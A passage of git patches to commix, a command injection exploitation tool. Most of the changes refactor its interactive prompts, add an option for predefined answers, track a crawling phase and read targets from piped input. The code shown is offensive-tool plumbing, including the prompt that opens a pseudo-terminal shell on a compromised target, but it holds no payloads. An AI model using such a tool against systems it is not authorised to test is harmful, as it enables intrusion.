+211,8 @@ def enable_crawler(): message = "" if not settings.CRAWLING: while True: - if not menu.options.batch: - question_msg = "Do you want to enable crawler? [y/N] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "N" + message = "Do you want to enable crawler? [y/N] > " + message = common.read_input(message, default="N", check_batch=True) if message in settings.CHOICE_YES: menu.options.crawldepth = 1 break @@ -259,14 +231,9 @@ def enable_crawler(): """ def check_sitemap(): while True: - if not menu.options.batch: - question_msg = "Do you want to check target"+ ('', 's')[settings.MULTI_TARGETS] + " for " - question_msg += "the existence of site's sitemap(.xml)? [y/N] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "n" + message = "Do you want to check target"+ ('', 's')[settings.MULTI_TARGETS] + " for " + message += "the existence of site's sitemap(.xml)? [y/N] > " + message = common.read_input(message, default="N", check_batch=True) if message in settings.CHOICE_YES: settings.SITEMAP_CHECK = True return @@ -318,7 +285,7 @@ def do_process(url): if href: href = _urllib.parse.urljoin(url, _urllib.parse.unquote(href)) if _urllib.parse.urlparse(url).netloc in href: - if (extract_regex_result(r"\A[^?]+\.(?P\w+)(\?|\Z)", href) or "") not in settings.CRAWL_EXCLUDE_EXTENSIONS: + if (common.extract_regex_result(r"\A[^?]+\.(?P\w+)(\?|\Z)", href) or "") not in settings.CRAWL_EXCLUDE_EXTENSIONS: if not re.search(r"\?(v=)?\d+\Z", href) and \ not re.search(r"(?i)\.(js|css)(\?|\Z)", href): identified_hrefs = store_hrefs(href, identified_hrefs, redirection=False) diff --git a/src/utils/install.py b/src/utils/install.py index 4036a289c4..40b1a2daea 100644 --- a/src/utils/install.py +++ b/src/utils/install.py @@ -74,13 +74,8 @@ def installer(): warn_msg += " is already installed in your system." print(settings.print_warning_msg(warn_msg)) while True: - if not menu.options.batch: - question_msg = "Do you want to remove commix? [Y/n] > " - uninstall = _input(settings.print_question_msg(question_msg)) - else: - uninstall = "" - if len(uninstall) == 0: - uninstall = "Y" + message = "Do you want to remove commix? [Y/n] > " + uninstall = common.read_input(message, default="Y", check_batch=True) if uninstall in settings.CHOICE_YES: uninstaller() raise SystemExit() diff --git a/src/utils/menu.py b/src/utils/menu.py index b1c3b651ed..ea1e8a080d 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -19,6 +19,7 @@ from optparse import OptionGroup from optparse import OptionParser from optparse import SUPPRESS_HELP as SUPPRESS +from src.utils import common from src.thirdparty.six.moves import input as _input from src.thirdparty.colorama import Fore, Back, Style, init @@ -132,6 +133,10 @@ def banner(): dest="check_internet", help="Check internet connection before assessing the target.") +general.add_option("--answers", + dest="answers", + help="Set predefined answers (e.g. \"quit=N,follow=N\")") + # Target options target = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Target" + Style.RESET_ALL, "This options has to be provided, to define the target URL. ") @@ -704,8 +709,8 @@ def mobile_user_agents(): Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' for Xiaomi Mi 3.""") while True: - question_msg = "Which smartphone do you want to imitate through HTTP User-Agent header? " - mobile_user_agent = _input(settings.print_question_msg(question_msg)) + message = "Which smartphone do you want to imitate through HTTP User-Agent header? " + mobile_user_agent = common.read_input(message, default=None, check_batch=True) try: if int(mobile_user_agent) in range(0,len(settings.MOBILE_USER_AGENT_LIST)): return settings.MOBILE_USER_AGENT_LIST[int(mobile_user_agent)] diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 4bad73afe7..5aa1802364 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -20,6 +20,7 @@ import sqlite3 from src.utils import menu from src.utils import settings +from src.utils import common from src.thirdparty.six.moves import input as _input from src.thirdparty.colorama import Fore, Back, Style, init @@ -279,26 +280,19 @@ def notification(url, technique, injection_type): info_msg = "A previously stored session has been held against that host." print(settings.print_info_msg(info_msg)) while True: - if not menu.options.batch: - question_msg = "Do you want to resume to the " - question_msg += "(" + injection_type.split(" ")[0] + ") " - question_msg += technique.rsplit(' ', 2)[0] - question_msg += " injection point? [Y/n] > " - settings.LOAD_SESSION = _input(settings.print_question_msg(question_msg)) - else: - settings.LOAD_SESSION = "" - if len(settings.LOAD_SESSION) == 0: - settings.LOAD_SESSION = "Y" + message = "Do you want to resume to the " + message += "(" + injection_type.split(" ")[0] + ") " + message += technique.rsplit(' ', 2)[0] + message += " injection point? [Y/n] > " + settings.LOAD_SESSION = common.read_input(message, default="Y", check_batch=True) if settings.LOAD_SESSION in settings.CHOICE_YES: return True elif settings.LOAD_SESSION in settings.CHOICE_NO: settings.LOAD_SESSION = False if technique[:1] != "c": while True: - question_msg = "Which technique do you want to re-evaluate? [(C)urrent/(a)ll/(n)one] > " - proceed_option = _input(settings.print_question_msg(question_msg)) - if len(proceed_option) == 0: - proceed_option = "c" + message = "Which technique do you want to re-evaluate? [(C)urrent/(a)ll/(n)one] > " + proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "a": settings.RETEST = True diff --git a/src/utils/settings.py b/src/utils/settings.py index bc5787c777..ca3631c80a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -150,8 +150,8 @@ def print_checking_msg(payload): return result # Print question message -def print_question_msg(question_msg): - result = QUESTION_SIGN + question_msg + Style.RESET_ALL +def print_message(message): + result = QUESTION_SIGN + message + Style.RESET_ALL return result # Print sub content message @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "60" +REVISION = "61" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -1144,4 +1144,8 @@ def sys_argv_errors(): SITEMAP_CHECK = None FOLLOW_REDIRECT = False + +# Set predefined answers (e.g. "quit=N,follow=N"). +ANSWERS = "" + # eof \ No newline at end of file diff --git a/src/utils/update.py b/src/utils/update.py index cfadf978c6..6ad463b601 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -21,6 +21,7 @@ from src.utils import menu from src.utils import settings from src.utils import requirments +from src.utils import common from src.thirdparty.six.moves import input as _input from src.thirdparty.colorama import Fore, Back, Style, init @@ -135,15 +136,10 @@ def check_for_update(): ((int(settings.VERSION_NUM.replace(".","")[:2]) == int(update_version.replace(".","")[:2])) and \ int(settings.VERSION_NUM.replace(".","")[2:]) < int(update_version.replace(".","")[2:])): while True: - if not menu.options.batch: - question_msg = "Do you want to update to the latest version now? [Y/n] > " - do_update = _input(settings.print_question_msg(question_msg)) - else: - do_update = "" - if len(do_update) == 0: - do_update = "Y" + message = "Do you want to update to the latest version now? [Y/n] > " + do_update = common.read_input(message, default="Y", check_batch=True) if do_update in settings.CHOICE_YES: - updater() + updater() elif do_update in settings.CHOICE_NO: break else: @@ -234,17 +230,12 @@ def check_unicorn_version(current_version): warn_msg = "TrustedSec's Magic Unicorn seems to be not installed." print(settings.print_warning_msg(warn_msg)) while True: - if not menu.options.batch: - if len(current_version) == 0: - action = "install" - else: - action = "update to" - question_msg = "Do you want to " + action + " the latest version now? [Y/n] > " - do_update = _input(settings.print_question_msg(question_msg)) + if len(current_version) == 0: + action = "install" else: - do_update = "" - if len(do_update) == 0: - do_update = "Y" + action = "update to" + message = "Do you want to " + action + " the latest version now? [Y/n] > " + do_update = common.read_input(message, default="Y", check_batch=True) if do_update in settings.CHOICE_YES: unicorn_updater(current_version) elif do_update in settings.CHOICE_NO: From 0b7e449e5bb742b9e718a63a27d95ce5f9ba58d9 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 14 May 2022 08:58:53 +0300 Subject: [PATCH 0138/1023] Minor updates --- src/core/injections/controller/checks.py | 7 +- src/core/injections/controller/controller.py | 71 ++++---- src/core/main.py | 159 +++++++++--------- .../icmp_exfiltration/icmp_exfiltration.py | 2 +- src/utils/settings.py | 6 +- 5 files changed, 124 insertions(+), 121 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 26da81b9f5..49674c7939 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -392,8 +392,11 @@ def check_connection(url): Check current assessment phase. """ def assessment_phase(): - if settings.DETECTION_PHASE: - return "detection" + if settings.DETECTION_PHASE: + if settings.CRAWLING_PHASE: + return "crawling" + else: + return "detection" else: return "exploitation" diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 80acffdf25..6b2605c24e 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -352,43 +352,42 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time else: info_msg += str(the_type) + str(header_name) + str(check_parameter) + " for tests." print(settings.print_info_msg(info_msg)) - - if not settings.LOAD_SESSION: - if menu.options.skip_heuristics: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping heuristic (basic) tests to the target URL." - print(settings.print_debug_msg(debug_msg)) - else: - decoded_value, decoded_with = checks.recognise_payload(payload=settings.TESTABLE_VALUE) - if settings.TESTABLE_VALUE != decoded_value and len(decoded_with) != 0: - warn_msg = "The provided parameter appears to be '" + str(decoded_with) + "' encoded." - print(settings.print_warning_msg(warn_msg)) - checks.tamper_scripts(stored_tamper_scripts=False) - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Performing heuristic (basic) tests to the target URL." - print(settings.print_debug_msg(debug_msg)) - url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) - if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION: - # Check for identified warnings - url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) - if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - while True: - message = "Skipping of further command injection tests is recommended. " - message += "Do you agree? [Y/n] > " - procced_option = common.read_input(message, default="Y", check_batch=True) - if procced_option in settings.CHOICE_YES: - settings.CLASSIC_STATE = settings.TIME_BASED_STATE = settings.FILE_BASED_STATE = False - settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = True - break - elif procced_option in settings.CHOICE_NO: - break - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + procced_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass + if menu.options.skip_heuristics: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Skipping heuristic (basic) tests to the target URL." + print(settings.print_debug_msg(debug_msg)) + else: + decoded_value, decoded_with = checks.recognise_payload(payload=settings.TESTABLE_VALUE) + if settings.TESTABLE_VALUE != decoded_value and len(decoded_with) != 0: + warn_msg = "The provided parameter appears to be '" + str(decoded_with) + "' encoded." + print(settings.print_warning_msg(warn_msg)) + checks.tamper_scripts(stored_tamper_scripts=False) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Performing heuristic (basic) tests to the target URL." + print(settings.print_debug_msg(debug_msg)) + url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) + + if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION: + # Check for identified warnings + url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) + if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: + while True: + message = "Skipping of further command injection tests is recommended. " + message += "Do you agree? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: + settings.CLASSIC_STATE = settings.TIME_BASED_STATE = settings.FILE_BASED_STATE = False + settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = True + break + elif procced_option in settings.CHOICE_NO: + break + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + procced_option + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: warn_msg = "Heuristic (basic) tests shows that" + header_name diff --git a/src/core/main.py b/src/core/main.py index 6e62ff69a6..e91ba366c9 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -463,9 +463,7 @@ def main(filename, url): checks.check_wrong_flags() else: found_os_server = checks.user_defined_os() - except KeyError: - pass - except AttributeError: + except (KeyError, AttributeError): pass # Load tamper scripts if menu.options.tamper: @@ -778,86 +776,89 @@ def main(filename, url): filename = logs.logs_filename_creation(url) main(filename, url) - # Check if option is "-m" for multiple urls test. - if menu.options.bulkfile: - bulkfile = menu.options.bulkfile - info_msg = "Parsing targets using the '" + os.path.split(bulkfile)[1] + "' file. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - if not os.path.exists(bulkfile): - print(settings.SINGLE_WHITESPACE) - err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, does not exist." - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - elif os.stat(bulkfile).st_size == 0: - print(settings.SINGLE_WHITESPACE) - err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, is empty." - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") + else: + # Check if option is "-m" for multiple urls test. + if menu.options.bulkfile: + bulkfile = menu.options.bulkfile + info_msg = "Parsing targets using the '" + os.path.split(bulkfile)[1] + "' file. " + sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() - raise SystemExit() - else: - settings.MULTI_TARGETS = True - print(settings.SINGLE_WHITESPACE) - with open(menu.options.bulkfile) as f: - bulkfile = [url.strip() for url in f] - - # Check if option "--crawl" is enabled. - if settings.CRAWLING: - output_href = [] - url_num = 1 - if not menu.options.bulkfile: - crawling_list = 1 - output_href = crawler.crawler(url, url_num, crawling_list) - output_href.append(url) + if not os.path.exists(bulkfile): + print(settings.SINGLE_WHITESPACE) + err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, does not exist." + sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") + sys.stdout.flush() + raise SystemExit() + elif os.stat(bulkfile).st_size == 0: + print(settings.SINGLE_WHITESPACE) + err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, is empty." + sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") + sys.stdout.flush() + raise SystemExit() + else: + settings.MULTI_TARGETS = True + print(settings.SINGLE_WHITESPACE) + with open(menu.options.bulkfile) as f: + bulkfile = [url.strip() for url in f] + + # Check if option "--crawl" is enabled. + if settings.CRAWLING: + settings.CRAWLING_PHASE = True + output_href = [] + url_num = 1 + if not menu.options.bulkfile: + crawling_list = 1 + output_href = crawler.crawler(url, url_num, crawling_list) + output_href.append(url) + else: + crawling_list = len(bulkfile) + for url in bulkfile: + output_href += (crawler.crawler(url, url_num, crawling_list)) + url_num += 1 + output_href = output_href + bulkfile + output_href = [x for x in output_href if x not in settings.HREF_SKIPPED] + output_href = crawler.normalize_results(output_href) + settings.CRAWLING_PHASE = False else: - crawling_list = len(bulkfile) - for url in bulkfile: - output_href += (crawler.crawler(url, url_num, crawling_list)) - url_num += 1 + output_href = [] output_href = output_href + bulkfile - output_href = [x for x in output_href if x not in settings.HREF_SKIPPED] - output_href = crawler.normalize_results(output_href) - else: - output_href = [] - output_href = output_href + bulkfile - filename = None - # Removing duplicates from list. - clean_output_href = [] - [clean_output_href.append(x) for x in output_href if x not in clean_output_href] - # Removing empty elements from list. - clean_output_href = [x for x in clean_output_href if x] - if len(output_href) >= 0: - if filename is not None: - filename = crawler.store_crawling(output_href) - info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "." - print(settings.print_info_msg(info_msg)) - url_num = 0 - for url in clean_output_href: - if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url)) or settings.MULTI_TARGETS: - url_num += 1 - print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") - message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " - message = common.read_input(message, default="Y", check_batch=True) - if message in settings.CHOICE_YES: - settings.INIT_TEST = True - if url == clean_output_href[-1]: - settings.EOF = True - # Reset the injection level - if menu.options.level > 3: - menu.options.level = 1 - init_injection(url) - try: - response, url = url_response(url) - if response != False: - filename = logs.logs_filename_creation(url) - main(filename, url) - except: + filename = None + # Removing duplicates from list. + clean_output_href = [] + [clean_output_href.append(x) for x in output_href if x not in clean_output_href] + # Removing empty elements from list. + clean_output_href = [x for x in clean_output_href if x] + if len(output_href) >= 0: + if filename is not None: + filename = crawler.store_crawling(output_href) + info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "." + print(settings.print_info_msg(info_msg)) + url_num = 0 + for url in clean_output_href: + if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url)) or settings.MULTI_TARGETS: + url_num += 1 + print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") + message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " + message = common.read_input(message, default="Y", check_batch=True) + if message in settings.CHOICE_YES: + settings.INIT_TEST = True + if url == clean_output_href[-1]: + settings.EOF = True + # Reset the injection level + if menu.options.level > 3: + menu.options.level = 1 + init_injection(url) + try: + response, url = url_response(url) + if response != False: + filename = logs.logs_filename_creation(url) + main(filename, url) + except: + pass + elif message in settings.CHOICE_NO: pass - elif message in settings.CHOICE_NO: - pass - elif message in settings.CHOICE_QUIT: - raise SystemExit() + elif message in settings.CHOICE_QUIT: + raise SystemExit() except KeyboardInterrupt: try: diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py index 9676b414b0..25cfade488 100755 --- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py +++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py @@ -169,7 +169,7 @@ def input_cmd(http_request_method, url, vuln_parameter, ip_src, technique): # Command execution results. cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src) except KeyboardInterrupt: - os._exit(1) + os._exit(0) except: print(settings.SINGLE_WHITESPACE) os._exit(0) diff --git a/src/utils/settings.py b/src/utils/settings.py index ca3631c80a..90f17e1d53 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "61" +REVISION = "62" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -1130,8 +1130,8 @@ def sys_argv_errors(): # Base64 padding BASE64_PADDING = "==" -# Crawling state -CRAWLING = False +# Crawling phase +CRAWLING = CRAWLING_PHASE = False CRAWLED_SKIPPED_URLS_NUM = 0 CRAWLED_URLS_NUM = 0 From 3acd37cfdb8e7d4032b7b4b13f4565fd4b139a12 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 15 May 2022 09:25:22 +0300 Subject: [PATCH 0139/1023] Added support regarding parsing target(s) from piped-input (i.e. stdin). --- doc/CHANGELOG.md | 1 + .../blind/techniques/time_based/tb_handler.py | 11 ++- src/core/injections/controller/checks.py | 22 +++++ src/core/injections/controller/controller.py | 3 +- .../techniques/classic/cb_handler.py | 13 ++- .../techniques/eval_based/eb_handler.py | 11 ++- .../techniques/file_based/fb_handler.py | 2 +- .../techniques/tempfile_based/tfb_handler.py | 11 ++- src/core/main.py | 87 ++++++++++++------- .../dns_exfiltration/dns_exfiltration.py | 2 +- .../icmp_exfiltration/icmp_exfiltration.py | 2 +- src/core/modules/shellshock/shellshock.py | 9 +- src/utils/common.py | 5 +- src/utils/menu.py | 17 ---- src/utils/settings.py | 4 +- 15 files changed, 133 insertions(+), 67 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 8699acf397..da59613613 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Added: Support regarding parsing target(s) from piped-input (i.e. stdin). * Added: New option `--answers` to set user answers to asked questions during commix run. * Added: Support regarding combining `--crawl` option with scanning multiple targets given in a textual file (i.e. via option `-m`). * Added: Support for normalizing crawling results. diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 4dc27cb427..7abb43fe07 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -306,6 +306,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r raise except EOFError: + if not settings.IS_TTY: + print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise @@ -475,7 +477,10 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if go_back == True: break message = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = common.read_input(message, default="Y", check_batch=True) + if settings.IS_TTY: + gotshell = common.read_input(message, default="Y", check_batch=True) + else: + gotshell = common.read_input(message, default="n", check_batch=True) if gotshell in settings.CHOICE_YES: print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: @@ -490,7 +495,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) - cmd = common.read_input(message="", default=None, check_batch=True) + cmd = common.read_input(message="", default="os_shell", check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") @@ -521,6 +526,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r raise except EOFError: + if not settings.IS_TTY: + print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 49674c7939..92654e0bee 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -53,6 +53,28 @@ except: settings.READLINE_ERROR = True +""" +The available mobile user agents. +""" +def mobile_user_agents(): + menu.mobile_user_agents() + while True: + message = "Which smartphone do you want to imitate through HTTP User-Agent header? > " + mobile_user_agent = common.read_input(message, default="1", check_batch=True) + try: + if int(mobile_user_agent) in range(1,len(settings.MOBILE_USER_AGENT_LIST)): + return settings.MOBILE_USER_AGENT_LIST[int(mobile_user_agent)] + elif mobile_user_agent.lower() == "q": + raise SystemExit() + else: + err_msg = "'" + mobile_user_agent + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass + except ValueError: + err_msg = "'" + mobile_user_agent + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass + """ User aborted procedure """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 6b2605c24e..c96bb88b31 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -841,8 +841,9 @@ def do_check(url, http_request_method, filename): err_msg += "." print(settings.print_critical_msg(err_msg)) + logs.print_logs_notification(filename, url) if not settings.MULTI_TARGETS: - logs.print_logs_notification(filename, url) + print(settings.SINGLE_WHITESPACE) if not settings.CHECK_BOTH_OS and not settings.MULTI_TARGETS: raise SystemExit() diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index a5142b36cc..8dd6a3e80a 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -204,6 +204,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ raise except EOFError: + if not settings.IS_TTY: + print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise @@ -345,11 +347,14 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ # Pseudo-Terminal shell go_back = False go_back_again = False - while True: + while True : if go_back == True: break message = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = common.read_input(message, default="Y", check_batch=True) + if settings.IS_TTY: + gotshell = common.read_input(message, default="Y", check_batch=True) + else: + gotshell = common.read_input(message, default="n", check_batch=True) if gotshell in settings.CHOICE_YES: print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: @@ -359,7 +364,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) - cmd = common.read_input(message="", default=None, check_batch=True) + cmd = common.read_input(message="", default="os_shell", check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") @@ -410,6 +415,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ raise except EOFError: + if not settings.IS_TTY: + print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index dd77d4b545..2573314a1e 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -216,6 +216,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ raise except EOFError: + if not settings.IS_TTY: + print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise @@ -361,7 +363,10 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if go_back == True: break message = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = common.read_input(message, default="Y", check_batch=True) + if settings.IS_TTY: + gotshell = common.read_input(message, default="Y", check_batch=True) + else: + gotshell = common.read_input(message, default="n", check_batch=True) if gotshell in settings.CHOICE_YES: print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: @@ -371,7 +376,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) - cmd = common.read_input(message="", default=None, check_batch=True) + cmd = common.read_input(message="", default="os_shell", check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") @@ -418,6 +423,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ raise except EOFError: + if not settings.IS_TTY: + print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 531fffa7c2..fd9ab9305d 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -601,7 +601,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) - cmd = common.read_input(message="", default=None, check_batch=True) + cmd = common.read_input(message="", default="os_shell", check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index e5948f2d9d..46f957538e 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -335,6 +335,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, raise except EOFError: + if not settings.IS_TTY: + print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) if 'cmd' in locals(): @@ -529,7 +531,10 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if go_back == True: break message = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = common.read_input(message, default="Y", check_batch=True) + if settings.IS_TTY: + gotshell = common.read_input(message, default="Y", check_batch=True) + else: + gotshell = common.read_input(message, default="n", check_batch=True) if gotshell in settings.CHOICE_YES: print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: @@ -543,7 +548,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) - cmd = 